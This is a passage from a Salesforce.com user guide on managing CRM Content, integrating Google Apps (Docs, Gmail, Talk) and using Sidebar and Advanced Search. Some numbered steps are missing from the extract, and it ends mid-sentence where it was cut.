Subscribe to Author to subscribe to all content published by that author.
• Click Feature or Don't Feature to toggle the “feature” designation on or off. Featured content receives a higher priority
than similar content in search results; for example, if 100 files contain the search criteria term sales asset, any featured
files with that term will appear at the top of the search results list. Featured content is also listed on the workspace overview
and workspace detail pages for quick access.
• Click a workspace name to view details about the workspace. Click the arrow next to the workspace name and choose
Subscribe to Workspace to subscribe to all content in the workspace or Show Workspace Content to view a list of all
files, content packs, Web links, and Google docs published to the workspace.
See Also:
Updating Content Versions
Deleting, Archiving, and Restoring Content
Searching for Content
Salesforce CRM Content offers two methods for removing content: archiving and deleting. Archiving a piece of content
removes it from its workspace but does not permanently delete it from Salesforce CRM Content. Once archived, content
cannot be downloaded and it does not appear in search results, but you can locate and restore it if necessary. Deleted content,
however, is permanently deleted from Salesforce CRM Content when the Recycle Bin is emptied.
286
Salesforce CRM Content Deleting, Archiving, and Restoring Content
Note: If you delete a content pack, you do not delete the individual files within the pack; only the pack (container) is
deleted. Files that are included in a content pack or content delivery cannot be deleted until the pack or delivery is
deleted.
• Authors can always archive and restore their own content. Authors do not require the Archive Content
workspace permission option.
• If a file is in Salesforce CRM Content and also posted in Salesforce Chatter, archiving it doesn't remove the
Chatter post.
• Deleting a Chatter file from the content details page deletes the file from Salesforce CRM Content and from
Chatter.
To restore archived content, open the content details page and click Restore Content. You can use any of the following
methods to open the content details page for an archived piece of content:
To restore deleted content, click on the Recycle Bin link in any tab. Select the content and click Undelete.
Note: Archived and deleted files are automatically removed from subscription lists. Subscribers are not notified when
content is archived or deleted.
See Also:
Uploading and Publishing Content
Updating Content Versions
Viewing and Editing Content Details
Viewing and Editing Content Deliveries
287
Salesforce CRM Content Viewing and Editing Content Subscriptions
Clicking the Subscriptions tab displays the Subscriptions home page, where you can view your Salesforce CRM Content
subscriptions and toggle them off or on.
Note: To subscribe to a file, content pack, Web link, or Google doc, view its content details page and click Not
Subscribed. From the content details page you can also subscribe to a tag, author, or workspace by using the drop-down
menus next to the tag, author, or workspace name.
On the Subscriptions tab, click the Content, Tags, Authors, or Workspaces subtabs to view your subscriptions. Depending
on your notification settings, you are notified of changes to your subscribed content via real-time emails or a once-daily email.
Tip: To configure your notification settings, go to Setup ➤ My Personal Information and click Edit. Choose
Receive Salesforce CRM Content email alerts. If you want to receive a once-daily summary rather than
real-time email alerts, also select Receive Salesforce CRM Content emails as daily digest.
• If you subscribe to a file, you are notified when a viewer adds comments to the file or when a new version of the file is
published. If you subscribe to a Web link or Google doc, you are notified when comments are added but not when the
link is changed or the doc is edited.
• If you subscribe to a content pack you are notified when a new version of the pack is published. Unless you are subscribed
to the individual files within a content pack, you are not notified when new versions of the files are published.
• If you subscribe to a tag, you are notified of any newly published content that is associated to the subscribed tag. To be
notified that new versions of the tagged content are available, subscribe to the content.
• If you subscribe to an author, you are notified when the author publishes new content. To be notified that new versions
of an author's content are available, subscribe to the content.
• If you subscribe to a workspace, you are notified when new content is added to the workspace, including existing content
that has been newly linked to your subscribed workspace. To be notified that new versions of the workspace content are
available, subscribe to the content.
See Also:
Searching for Content
Viewing and Editing Content Details
Managing Workspaces
288
Salesforce CRM Content Updating Content Versions
Clicking a file name on any Salesforce CRM Content tab opens the content details page.
289
Salesforce CRM Content Finding Salesforce CRM Content
• Contact Manager, Group, Professional, Enterprise, and Unlimited Edition customers can publish a maximum of 5,000
new versions per 24–hour period. Developer Edition and trial users can publish a maximum of 2,500 new versions per
24–hour period.
See Also:
Deleting, Archiving, and Restoring Content
Searching for Content
Viewing and Editing Content Details
User Permissions
To access Salesforce CRM Content: Salesforce CRM Content User checked in your personal
information
AND
Member of the workspace
If your organization has Salesforce CRM Content enabled, you can take advantage of Salesforce CRM Content functionality
on detail pages for leads, accounts, contacts, opportunities, products, cases, or custom objects. The Related Content related
list allows you to search for files, content packs, Web links, or Google docs and attach them to the record. When you attach
a file, the latest version will be available for the life of the record unless the file is removed.
From the Related Content related list, you can:
• Click the content's title to view the content details page where you can perform several tasks, such as commenting and
voting on content, downloading files, opening Web pages and Google docs, and subscribing to content, authors, tags, or
workspaces. For more information, see Viewing and Editing Content Details on page 284.
• Click Del next to a piece of content to remove it from the record. This does not delete the content from the Salesforce
CRM Content workspace.
• If content deliveries are enabled in your organization, click Deliver Content to create a content delivery. A content delivery
allows you to easily convert documents such as Microsoft® PowerPoint and Word files into an optimized web-based version
for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient, such as leads,
customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition to tracking,
content deliveries provide several benefits over sending files as attachments, such as giving you control over how long the
delivery is available to viewers and whether a viewer can download a file or see it online only. For more information, see
Creating Content Deliveries on page 279.
• Search for related content:
1. Click Find Content or Search All. In both cases, Salesforce CRM Content searches within the workspaces that you
have access to. If you click Search All, the search results display all the content in your workspaces. For the Find
290
Salesforce CRM Content Finding Salesforce CRM Content
Content search, your search results contain content that is relevant to the record; Salesforce CRM Content searches
for content with text or attributes that match the following fields:
- On an opportunity, the Opportunity Name, Account Name, and all competitors and products.
- On an account, the Account Name and Industry.
- On a case, the Case Reason, Subject, Account Name, and Industry.
- On a lead, the Name, Company, Industry, and Title.
Note: On a custom object, clicking Find Content returns search results that contain the full custom object
name in the document's text or attributes. If no content meets this criterion, the search results will be empty
and a Search All search should be used instead.
2. On the search results page, filter your results as needed by entering search terms or selecting filter criteria from the
sidebar.
3. Click Attach for any file that you want to attach to the record.
4. Click the Back link to return to the detail page.
See Also:
Salesforce CRM Content Overview
Customizing Salesforce CRM Content
Viewing and Editing Content Details
Uploading and Publishing Content
The Content related list on a record detail page includes links to all of the content that has been associated with that record
in Salesforce CRM Content. Click the file name to open the content details page.
Only Salesforce CRM Content users who are members of the workspace where the content was published can see the published
file in the Content related list. For example, if you select the “Big Deal” opportunity when publishing BigDealStrategy.doc
into the Sales Collateral workspace, the Content related list on the “Big Deal” opportunity includes a link to
BigDealStrategy.doc only for members of the Sales Collateral workspace. Users who are not members of that workspace
do not see the link.
291
Salesforce for Google Apps Google Apps Overview
You can use the Related Content related list to access Salesforce CRM Content from leads, accounts, contacts, opportunities,
products, cases, or custom objects. For more information, see Finding Salesforce CRM Content on page 290.
See Also:
Salesforce CRM Content Overview
Finding Salesforce CRM Content
Google Apps™ is a suite of on-demand communication and collaboration services hosted by Google and designed for business
users. Salesforce.com integrates key Google Apps services and provides several AppExchange apps that enhance and customize
Google-related functionality. To set up a Google Apps account for your organization, activate services, and create individual
Google Apps accounts for your Salesforce.com users, see Getting Started with Salesforce and Google Apps on page 294.
The following services for Google Apps are integrated with Salesforce.com and require a simple activation by a Salesforce.com
administrator:
Add Google Docs to Salesforce.com
Google Docs™ allows you to create on-demand documents, spreadsheets, and presentations, edit them in your browser,
and work together in real time with other collaborators. When the Add Google Docs to Salesforce.com service is activated,
you can:
• Use the Google Docs, Notes, & Attachments or Google Docs & Attachments related list on any Salesforce.com
record to create, edit, or view Google docs and associate them to a record.
• Share a Google doc with any Google Apps user in your organization.
• Associate Google docs with Salesforce.com records even when you are not working in Salesforce.com by using the
Add Google Doc to Salesforce.com browser button.
• Add Google docs to Salesforce CRM Content, which allows you to manage all types of content in a centralized
location.
292
Salesforce for Google Apps Google Apps Overview
Gmail to Salesforce.com
Gmail™ is a Web-based email application that operates on all standard browsers and can be used with your company's
domain. Use Gmail to Salesforce.com to automatically log emails you send from your Gmail account as activities on
lead and contact records in Salesforce.com.
Gmail Buttons and Links adds Gmail links next to email fields on all records and adds Compose Gmail buttons in
Activity History related lists on leads and contacts. When you click a Gmail link or the Compose Gmail button,
Salesforce.com automatically logs you into your Gmail account and automatically populates the To field. If Gmail to
Salesforce.com is activated, Salesforce.com also populates the BCC field with your Email to Salesforce address.
Implementation Tips
• For detailed information about Google Apps, refer to Google's online help.
• Google Apps in Salesforce.com is available for Google business accounts but not consumer accounts. You can identify a
consumer account by the “gmail.com” domain in an email address; for example, myname@gmail.com is a consumer account.
The Google Apps domain you set up in Salesforce.com must be the domain you registered with Google for your organization;
for example, mycompany.com is a business rather than consumer account.
• After creating a Google Apps account for your organization, create Google Apps accounts for your Salesforce.com users
by clicking Export to Google Apps from Setup ➤ Manage Users ➤ Users.
• Notify users of their Google Apps usernames and passwords.
• Notify users about the changes they will see in Salesforce.com when Google Apps services are activated. For example,
activating the Google Talk Sidebar Component adds Google Talk to the sidebar for all users in your organization.
• To view all the Google apps available on Force.com AppExchange, visit http://sites.force.com/appexchange.
• By default, Google Apps users on your organization's domain can share Google docs with Google Apps accounts outside
your domain. The control panel for your Google Apps account contains sharing settings that enable you to restrict document
sharing to within your domain.
• When the Add Google Docs to Salesforce.com service is deactivated, Google docs cannot be accessed from Salesforce.com
records ,and any Google docs in users' Recycle Bins that were deleted from a record are permanently removed from
Salesforce.com. If the Add Google Docs to Salesforce.com service is reactivated within 30 days, Google docs that were
associated with Salesforce.com records before the deactivation are restored to their previous location. Deactivating the Add
Google Docs to Salesforce.com service does not affect Google docs in Salesforce CRM Content workspaces; deactivation
does not remove Google docs associations in workspaces and does not permanently delete Google docs in Recycle Bins.
• Customer Portal and partner portal users with access to the Contribute tab in Salesforce CRM Content can create new
Google docs and associate existing Google docs to a Salesforce.com workspace. Portal users without access to Salesforce
CRM Content can associate an existing Google doc to a record, but they cannot create new Google docs from within a
record because they do not have access to the Google Docs, Notes, and Attachments related list in the portal. Portal users
cannot use the Add Google Doc to Salesforce.com browser button.
• Customer Portal and partner portal users cannot access the Gmail Buttons and Links or Google Talk Sidebar Component
services.
• If your organization purchased the Salesforce.com for Google Apps Supported feature, see Getting Started With Salesforce
and Google Apps Supported on page 296.
293
Salesforce for Google Apps Getting Started with Salesforce and Google Apps
Best Practices
• Test your Google Apps integration using a sandbox or Developer Edition organization.
• Manage Google Apps users as you would Salesforce.com users. For example, if you deactivate a Salesforce.com user, also
deactivate his or her Google Apps account in the control panel for your organization's Google Apps account. For information
about administering your organization's Google Apps account, refer to Google's online help.
• To locate a Google doc quickly in Salesforce.com, search for the doc using Sidebar Search.
• If Google Talk is in the sidebar, refreshing a Salesforce.com page causes Google Talk to momentarily disconnect and
reconnect. Recommend to your users that they open Google Talk in its own window if they want to have longer chats.
See Also:
Getting Started with Salesforce and Google Apps
Using Google Docs in Salesforce.com
Using Gmail in Salesforce.com
Using Google Talk in Salesforce.com
Google Apps is a suite of on-demand communication and collaboration services hosted by Google and designed for business
users. If your organization has a Google Apps account, Salesforce.com administrators can enable Google Docs, Gmail, Google
Talk, and a host of Google-related AppExchange apps—customized for use within Salesforce.com. For a description of the
Google Apps functionality in Salesforce.com, see Google Apps Overview on page 292.
294
Salesforce for Google Apps Getting Started with Salesforce and Google Apps
Note: Google Apps in Salesforce.com supports Google Apps business accounts but not consumer accounts. You can
identify a consumer account by the “gmail.com” domain in an email address; for example, myname@gmail.com is a
consumer account. The Google Apps domain you set up in Salesforce.com must be the domain you registered with
Google for your organization; for example, mycompany.com is a business rather than consumer account.
See Also:
Using Google Docs in Salesforce.com
Using Gmail in Salesforce.com
Using Google Talk in Salesforce.com
295
Salesforce for Google Apps Getting Started With Salesforce and Google Apps Supported
The Salesforce and Google Apps Supported feature includes a Google Apps Premier Edition account for your organization.
In Salesforce.com, you can create that account or upgrade from an existing Google Apps Standard Edition account to Google
Apps Premier Edition. For a description of the Google Apps services available in Salesforce.com, see Google Apps Overview
on page 292.
After you create a new Google Apps Premier Edition account or upgrade your existing Google Apps Standard Edition account
in Salesforce.com, the Premier Setup page displays your organization's domain name, the number of Google Apps Premier
Edition licenses available to your organization, and, if applicable, the status of your upgrade.
Field Description
Domain Name Enter the domain that you want to register as your
organization's Google Apps account. For example, if your
company's URL is http://www.acme.com, enter
acme.com as your Domain Name.
User Name This value is used to create the Google Apps administrator
for your organization's account. For example, if your Google
Apps administrator will be jsmith@acme.com, enter
jsmith. After your Google Apps account is created, you
296
Salesforce for Google Apps Getting Started With Salesforce and Google Apps Supported
Field Description
can log in with the User Name and Password and change
this value if necessary.
First Name This value is used to create the Google Apps administrator
for your organization's account. After your Google Apps
account is created, you can log in with the User Name and
Password and change this value if necessary.
Last Name This value is used to create the Google Apps administrator
for your organization's account. After your Google Apps
account is created, you can log in with the User Name and
Password and change this value if necessary.
Email Address This email address receives a confirmation notice when your
Google Apps Premier Edition account is created. Google
does not store this value for any other purpose.
Password The Google Apps administrator can log in to Google Apps
with this password.
Confirm Password The Google Apps administrator can log in to Google Apps
with this password.
297
Salesforce for Google Apps Getting Started With Salesforce and Google Apps Supported
Field Description
Domain Name The domain that you want to register as your organization's
Google Apps Premier Edition account. If you already
enabled Salesforce and Google Apps, this field is
prepopulated with your organization's domain name.
Google Apps Token The 16-digit token required to upgrade from Google Apps
Standard Edition to Google Apps Premier Edition. Your
organization's Google Apps administrator can access this
information on the Google website. For more information,
click Retrieve Google Apps Token in Column B.
See Also:
Google Apps Overview
Getting Started with Salesforce and Google Apps
298
Salesforce for Google Apps Setting Up Google Apps in Salesforce.com
Click Setup ➤ Google Apps ➤ Settings to edit your Google Apps domain settings, activate or deactivate Google Apps
services in Salesforce.com, or install or uninstall Google-related Force.com AppExchange packages. For a description of
Google Apps functionality in Salesforce.com, see Google Apps Overview on page 292.
Important: You cannot use Salesforce and Google Apps until a Google Apps account has been created for your
organization and your Google Apps domain settings are configured in Salesforce.com. For instructions on creating
an account and configuring your domain settings, see Getting Started with Salesforce and Google Apps on page 294.
299
Salesforce for Google Apps Creating Google Apps Accounts
To install or uninstall an AppExchange app, click Install or Uninstall next to the appropriate name. To view all Google-related
AppExchange offerings, visit http://sites.force.com/appexchange.
See Also:
Installing a Package
Uninstalling a Package
Google Apps Overview
After creating a Google Apps account for your organization and enabling Google Apps in Salesforce.com, you can create
Google Apps accounts for individual users. To access the Google Apps services that are enabled in Salesforce.com, each user
needs a Google Apps account on the domain your organization registered with Google. An account includes a username and
password that allow the user to log into all Google Apps services.
Note: If your organization purchased Salesforce and Google Apps Supported, the number of Google Apps Premier
Edition accounts you can create is limited to the number of licenses your organization purchased.
To export a list of users to Google and create Google Apps accounts for each user:
4. On the Export Users to Google Apps page, click the export file link that is labeled as Step 1. The name of the link depends
on the list view you chose to export; for example, if you were viewing the All Users list, the link on the Export Users to
Google Apps page is All Users Export File.
5. In the CSV spreadsheet that displays when click you the export link, provide a temporary password for each user. You can
modify the username, last name, and first name fields for any user as needed. Google creates account names by
adding your domain to the usernames in the spreadsheet; for example, if your domain is acme.com and the spreadsheet
contains john.doe and jane.doe usernames, the Google Apps usernames are john.doe@acme.com and jane.doe@acme.com.
6. Save the spreadsheet to your computer.
300
Salesforce for Google Apps Using Google Docs in Salesforce.com
7. Click the Google Apps Bulk User Import Tool link to launch the Bulk Account Update page for your organization's
Google Apps account. If prompted, log in with your Google Apps administrator username. Only the user who is registered
with Google as the administrator of your organization's account can create additional Google Apps accounts on your
organization's domain.
8. Follow Google's instructions to import the data in the spreadsheet. The Google Apps administrator receives a confirmation
report, and the user for each successfully created account receives a notification email at his or her new Gmail account..
9. Notify users of their usernames and passwords. They will need this information to use any Google Apps service that is
enabled in Salesforce.com.
See Also:
Google Apps Overview
Getting Started with Salesforce and Google Apps
Use Google Docs™ to create and share on-demand documents, presentations, and spreadsheets (“Google docs”) and see your
changes in real time as you collaborate with other users. Because your content is stored within Google, there is no need to
manage versions or send attachments by email—simply log in with your Google Apps account and view the current document
or its revision history.
Salesforce and Google Apps allows you to integrate Google Docs with Salesforce.com in three ways:
• Access the Docs home page using a Salesforce.com tab—The Docs home page in your Google Apps account lists all the
Google documents, presentations, and spreadsheets that you have created or that other Google Apps users have shared
with you. If the Google Docs tab is activated, you can access your Docs home page without leaving Salesforce.com.
• Associate Google docs with Salesforce.com records—From the Docs home page you can associate a Google doc with
Salesforce.com records by using the Add Google Doc to Salesforce.com browser button. You can also create, edit, or
delete Google doc associations on any Salesforce.com record by using the Google Docs, Notes, & Attachments or Google
Docs & Attachments related lists.
• Use Salesforce CRM Content to manage your Google Docs— If Salesforce CRM Content is enabled, you can use the
Contribute tab or the Add Google Doc to Salesforce.com browser button to add Google docs to your workspaces. Including
Google docs in Salesforce CRM Content allows you to manage all types of content in a centralized location.
301
Salesforce for Google Apps Activating Google Docs in Salesforce.com
See Also:
Activating the Google Docs Tab
Activating Google Docs in Salesforce.com
Adding Google Docs to Salesforce.com
Installing the Add Google Doc to Salesforce.com Browser Button
Important: Once you activate a Google Apps service in Salesforce.com, it is visible to all users in your organization.
To use these services, your users must have Google Apps accounts on your domain. For more information, see Getting
Started with Salesforce and Google Apps on page 294.
Google Docs™ allows you to create on-demand documents, spreadsheets, and presentations, edit them in your browser, and
work together in real time with other collaborators.
To activate or deactivate the Add Google Docs to Salesforce.com service:
When the Add Google Docs to Salesforce.com service is enabled, the following changes allow users to create, edit, or view
Google docs and associate them with Salesforce.com records:
• The Notes & Attachments related list on accounts, assets, contacts, contracts, leads, opportunities, products, and custom
objects is renamed to Google Docs, Notes, & Attachments.
• The Attachments related list on cases, solutions, and campaigns is renamed to Google Docs & Attachments.
• If Salesforce CRM Content is enabled, the Workspaces tab has an Add Google Doc drop-down list.
Users can also install the Add Google Doc to Salesforce.com browser button, which allows them to associate a Google doc
to several Salesforce.com records or a Salesforce CRM Content workspace without being logged into Salesforce.com. For
more information see Installing the Add Google Doc to Salesforce.com Browser Button on page 307 and Adding Google Docs
to Salesforce.com on page 303.
302
Salesforce for Google Apps Adding Google Docs to Salesforce.com
Implementation Tips
• For information about Google Docs, refer to Google's online help.
• By default, Google Docs users on your domain can share their Google docs with Google Apps accounts outside your
domain. The control panel in your Google Apps account contains sharing settings that enable you to restrict document
sharing to users within your organization's domain.
• Customer Portal and partner portal users with access to the Contribute tab in Salesforce CRM Content can create new
Google docs and associate existing Google docs to a Salesforce.com workspace. Portal users without access to Salesforce
CRM Content can associate an existing Google doc to a record, but they cannot create new Google docs from within a
record because they do not have access to the Google Docs, Notes, and Attachments related list in the portal. Portal users
cannot use the Add Google Doc to Salesforce.com browser button.
• When the Add Google Docs to Salesforce.com service is deactivated, Google docs cannot be accessed from Salesforce.com
records ,and any Google docs in users' Recycle Bins that were deleted from a record are permanently removed from
Salesforce.com. If the Add Google Docs to Salesforce.com service is reactivated within 30 days, Google docs that were
associated with Salesforce.com records before the deactivation are restored to their previous location. Deactivating the Add
Google Docs to Salesforce.com service does not affect Google docs in Salesforce CRM Content workspaces; deactivation
does not remove Google docs associations in workspaces and does not permanently delete Google docs in Recycle Bins.
• The Add Google Docs to Salesforce.com service cannot be disabled for your organization if Google docs are referenced
in an Apex script. For more information, see Force.com Apex Code Overview on page 1538.
• Google docs count against data storage. For each Google doc associated with a record or workspace in Salesforce.com,
two Kb of storage is used.
See Also:
Adding Google Docs to Salesforce.com
Installing the Add Google Doc to Salesforce.com Browser Button
Note: To use a Google Apps service in Salesforce.com, you must be logged in to your Google Apps business account.
Business accounts use your organization's domain; for example, john.doe@company.com. If you are unsure of your
Google Apps username and password, contact your administrator.
Salesforce.com offers three methods for creating new Google docs and associating them with Salesforce.com records:
• You can create a Google doc from any detail page. The doc is automatically associated with the record and is visible to
anyone with access to both the record and the Google doc.
303
Salesforce for Google Apps Adding Google Docs to Salesforce.com
• You can create a Google doc from the Docs home page in your Google Apps account and associate the doc to one or more
Salesforce.com records or Salesforce CRM Content workspaces using the Add Google Doc to Salesforce browser button.
• If Salesforce CRM Content is enabled, you can create a Google doc from the Contribute tab to associate it with a Salesforce
CRM Content workspace.
Tip: For information about using Google Docs, refer to Google's online help.
4. To create a new Google doc by converting another file format to Google Docs:
a. After choosing a doc type from the Add Google Doc drop-down button, choose Create using an existing
file.
b. Select the file you want to convert. Salesforce.com can convert the following file types to Google docs:
• Microsoft Word® (doc), text (txt), rich text format (rtf ), OpenDocument text (odt), or StarOffice™ document (swx)
files up to 500 KB each
• Microsoft Excel® (xls), comma-separated value (csv), or OpenDocument spreadsheet (ots) files up to 1 MB each
Note: If commas are not appropriate for your locale, use a tab or other delimiter.
To link an existing Google doc to a record, see Editing Google Doc Links on page 306.
304
Salesforce for Google Apps Adding Google Docs to Salesforce.com
If the Add Google Doc to Salesforce.com browser button is installed in your browser, create a Google doc and click the
browser button to associate the Google doc with Salesforce.com records or workspaces. For more information, see Associating
Google Docs with Salesforce.com Records on page 308.
f. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
g. After completing any custom fields, click Publish to save the Google doc to its Salesforce CRM Content workspace,
or click Cancel to save the doc to your personal workspace. From there you can delete the doc from Salesforce CRM
Content or publish it later. Once a Google doc is published in Salesforce CRM Content, all workspace members can
search for the doc and provide feedback such as comments and votes.
305
Salesforce for Google Apps Editing Google Doc Links
Note: While you have your Google doc open, remember to share it with other Google Apps users in your organization.
Only users with access to the Google doc in their Google Apps account can open the doc from Salesforce CRM
Content.
See Also:
Using Google Docs in Salesforce.com
Installing the Add Google Doc to Salesforce.com Browser Button
Note: To use a Google Apps service in Salesforce.com, you must be logged in to your Google Apps business account.
Business accounts use your organization's domain; for example, john.doe@company.com. If you are unsure of your
Google Apps username and password, contact your administrator.
You can associate an existing Google doc with a Salesforce.com record by adding the name and URL of that Google doc to
the record. An existing Google doc is one that you already have access to on your Google Apps account but is not already
associated with the record you are viewing.
Note: To add an existing Google doc to a Salesforce CRM Content workspace, see Contributing Google Docs to
Salesforce CRM Content on page 272.
Tip: You can find the URL by clicking Take me to Google Docs.
Once a Google doc is associated with a Salesforce.com record, clicking Edit next to that doc on the Google Docs, Notes, &
Attachments or Google Docs & Attachments related list displays the Add Existing Google Doc page. Modify the Name and
URL as needed.
306
Salesforce for Google Apps Installing the Add Google Doc to Salesforce.com Browser Button
Tip: For information about using Google Docs, refer to Google's online help.
See Also:
Using Google Docs in Salesforce.com
Adding Google Docs to Salesforce.com
Installing the Add Google Doc to Salesforce.com Browser Button
A browser button is an applet, or small computer application, that provides one-click functionality similar to a bookmark. The
Add Google Doc to Salesforce.com browser button allows you to associate a Google doc with several Salesforce.com records
at once, even when you are not working in Salesforce.com. To use this browser button, the Add Google Doc to Salesforce.com
service must be enabled and you must install the browser button in your browser.
You can access the Add Google Doc to Salesforce.com browser button on the Contribute tab in Salesforce CRM Content
or on a record detail page:
1. Display any record in Salesforce.com that has a Google Docs, Notes, & Attachments or Google Docs & Attachments
related list on the record detail page.
2. Choose Add Existing from the Add Google Doc drop-down button in the Google Docs, Notes, & Attachments or Google
Docs & Attachments related list. If the related list contains a Google doc, you can also click Edit next to the Google doc.
3. Click Get the browser button at the bottom of the page.
Note: Because Customer Portal and partner portal users do not have access to the Google Docs, Notes, & Attachments
or Google Docs & Attachments related list in the portal, portal users can only obtain the browser button from the
Contribute tab in Salesforce CRM Content.
If you use more than one type of browser, for example Microsoft® Internet Explorer and Mozilla® Firefox, install the browser
button in each browser. The instructions for installing the browser button depend on your browser. In Firefox, drag the browser
button to your Bookmarks Toolbar. In Apple® Safari, drag the browser button to your Bookmark Bar. In Internet Explorer:
Note: The instructions may vary slightly based on your version of Internet Explorer.
1. Right-click the browser button and choose Add to Favorites... from the Add Google Doc to Salesforce.com page.
2. Save the browser button in the Links folder and click Add.
3. In your browser menu bar, click View ➤ Toolbars and ensure that the Links toolbar is visible.
4. Close and restart your browser. The browser button displays in your Links toolbar.
307
Salesforce for Google Apps Associating Google Docs with Salesforce.com Records
Note: If you change your personal language setting in Salesforce.com and want to change the language on the browser
button also, you must delete and reinstall the browser button.
See Also:
Adding Google Docs to Salesforce.com
Associating Google Docs with Salesforce.com Records
When you create, edit, or view a Google doc from your online Docs home page in your Google Apps account, click the Add
Google Doc to Salesforce.com browser button to associate the Google doc with one or more Salesforce.com records.
If Salesforce CRM Content is enabled in your organization, you can also add the Google doc to a Salesforce CRM Content
workspace. Including Google docs in Salesforce CRM Content allows users to access all types of content from a single location
and apply Salesforce CRM Content functionality, such as votes, comments, and subscriptions, toGoogle docs.
To associate a Google doc with Salesforce.com records from the Docs home page:
To associate a Google doc with Salesforce CRM Content from the Docs home page:
308
Salesforce for Google Apps Activating the Google Docs Tab
6. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do
not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users
restrict their content searches to a particular language, only content associated with that language is displayed in the search
result set.
7. To publish the content on behalf of another author, choose that author from the drop-down list.
8. Tag your content. Your tagging permission depends on the tagging rule assigned to the workspace:
• If the workspace does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter
tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags
list and the Popular Tags section on the Workspaces tab. The My Recent Tags list on the Contribute window shows
the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.
• If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
• If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you
select a tag it turns green.
• You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
• Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.
9. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
10. After completing any custom fields, click Publish. All workspace members can now search for this doc and provide feedback
such as comments and votes.
Note: While your Google doc is open, remember to share it with other Google Apps users in your organization.
Only Google Apps users with whom the doc is shared can view and edit the doc.
See Also:
Using Google Docs in Salesforce.com
Adding Google Docs to Salesforce.com
Google Apps Overview
Important: Once you activate a Google Apps service in Salesforce.com, it is visible to all users in your organization.
To use these services, your users must have Google Apps accounts on your domain. For more information, see Getting
Started with Salesforce and Google Apps on page 294.
309
Salesforce for Google Apps Using Gmail in Salesforce.com
Google Docs™ allows you to create on-demand documents, spreadsheets, and presentations, edit them in your browser, and
work together in real time with other collaborators. The Google Docs tab in Salesforce.com hosts the Docs home page for
each user's Google Apps account, allowing users to view and manage all their Google docs from within Salesforce.com. If the
Add Google Doc to Salesforce.com service is also activated, users can install a browser button that enables them to easily
associate Google docs with Salesforce.com records from the Google Docs tab.
To activate or deactivate the Google Docs tab in Salesforce.com:
See Also:
Using Google Docs in Salesforce.com
Installing the Add Google Doc to Salesforce.com Browser Button
Adding Google Docs to Salesforce.com
Important: Once you activate a Google Apps service in Salesforce.com, it is visible to all users in your organization.
To use these services, your users must have Google Apps accounts on your domain. For more information, see Getting
Started with Salesforce and Google Apps on page 294.
Gmail™ (also called Google Mail) is a free Web-based email service from Google that operates on all standard browsers and
can be used with your company's domain. You can integrate Gmail with Salesforce.com in two ways:
• Gmail to Salesforce.com
• Gmail Buttons and Links
Gmail to Salesforce.com
Gmail to Salesforce.com allows you to automatically log emails and chats you send from your Gmail account as activities on
lead, contact, opportunity, and other records that support activity history in Salesforce.com.
Gmail to Salesforce.com is based on the Email to Salesforce feature. To activate Gmail to Salesforce.com for your organization,
follow the instructions in Enabling Email to Salesforce on page 785. To configure your personal Gmail to Salesforce.com
setup, follow the instructions in Using My Email to Salesforce Address on page 216.
310
Salesforce for Google Apps Using Google Talk in Salesforce.com
Implementation Notes
• If your organization enables Gmail Buttons and Links but does not enable Gmail to Salesforce.com, you can still use the
Gmail links on contact and lead records; however, Salesforce.com does not log emails you send from your Gmail account,
or automatically populate the BCC field on the Compose Mail screen with an Email to Salesforce address.
• For information about Gmail, refer to Google's online help.
See Also:
Google Apps Overview
Important: Once you activate a Google Apps service in Salesforce.com, it is visible to all users in your organization.
To use these services, your users must have Google Apps accounts on your domain. For more information, see Getting
Started with Salesforce and Google Apps on page 294.
Google Talk™ is Google's instant-messaging tool. When the Google Talk Sidebar Component is activated in Salesforce.com,
Google Talk displays below the sidebar search fields where it can be toggled on, off, or expanded into its own window. You
can also log a chat record as an activity on a Salesforce.com lead or contact record.
311
Search and Tags Search Overview
See Also:
Google Apps Overview
Setting Up Google Apps in Salesforce.com
Search Overview
Available in: All Editions
Salesforce.com offers two main ways to search for records and tags—Sidebar Search and Advanced Search, accessible via a
link in the sidebar. The following table describes the main differences between the two:
312
Search and Tags Search Overview
An * (asterisk) wildcard is automatically appended to your The * wildcard is not appended to the search.
search string. For example, searching for bob jo finds items
with Bob Jones and Bob Johnson.
You can use the * and ? (question mark) wildcards to refine You can use the * and ? wildcards to refine results. You can
your search results. Use * to match one or more characters, or also use the AND, OR, AND NOT, and " " (quotation marks)
? to match a single character. Special operators cannot be used. special operators.
Searches look only in a certain subset of fields, including name, Searches look in a wider set of fields, including long text fields
phone, email, and standard address fields. such as descriptions, task and event comments, and notes.
If the Sidebar Search drop-down list is enabled, you can limit You can choose one or more items, including tags and specific
your search to only tags or the records for a single object. In objects, by which to limit your search. In the Scope section,
the drop-down list, select the item you want. Select Search select the items you want.
All to search across all tags and objects.
If the Sidebar Search Limit to Items I Own checkbox is In Advanced Search, the Limit to Items I Own checkbox is
enabled, you can check this box to limit your search to records always enabled. Otherwise, it operates exactly as it does in the
for which you are the owner, including case comments and Sidebar Search.
reports that you created.
Note: When this checkbox is selected, the search
results don't return asset, order, and user records.
• Solutions
• Documents
• Salesforce CRM Content
• Products
• Articles
• Article Management
313
Search and Tags How Search Works
Tip: Your administrator can customize your Home tab to include the product, document, or solution search in the
sidebar.
See Also:
Searching Records
How Search Works
Lookup Dialog Search
Viewing Search Results
Filtering Search Results
Browsing, Searching, and Managing Tags
Customizing Search Layouts
Using the Help & Training Window
Tip sheet: Finding the Information You Need
Searches in Salesforce.com use custom algorithms that take several variables into account, including:
Because each search is configured for the user performing the search, two users may not have the same results for the same
search. For example, if a user has recently viewed a record, that past viewing increases the relevancy of that record and moves
it higher in the list of search results. Records also become more relevant if they are owned by the user performing the search,
or if they are used frequently by other members of the organization.
Note: Fields that are hidden from a user via field-level security are still searchable. When users search for a value in
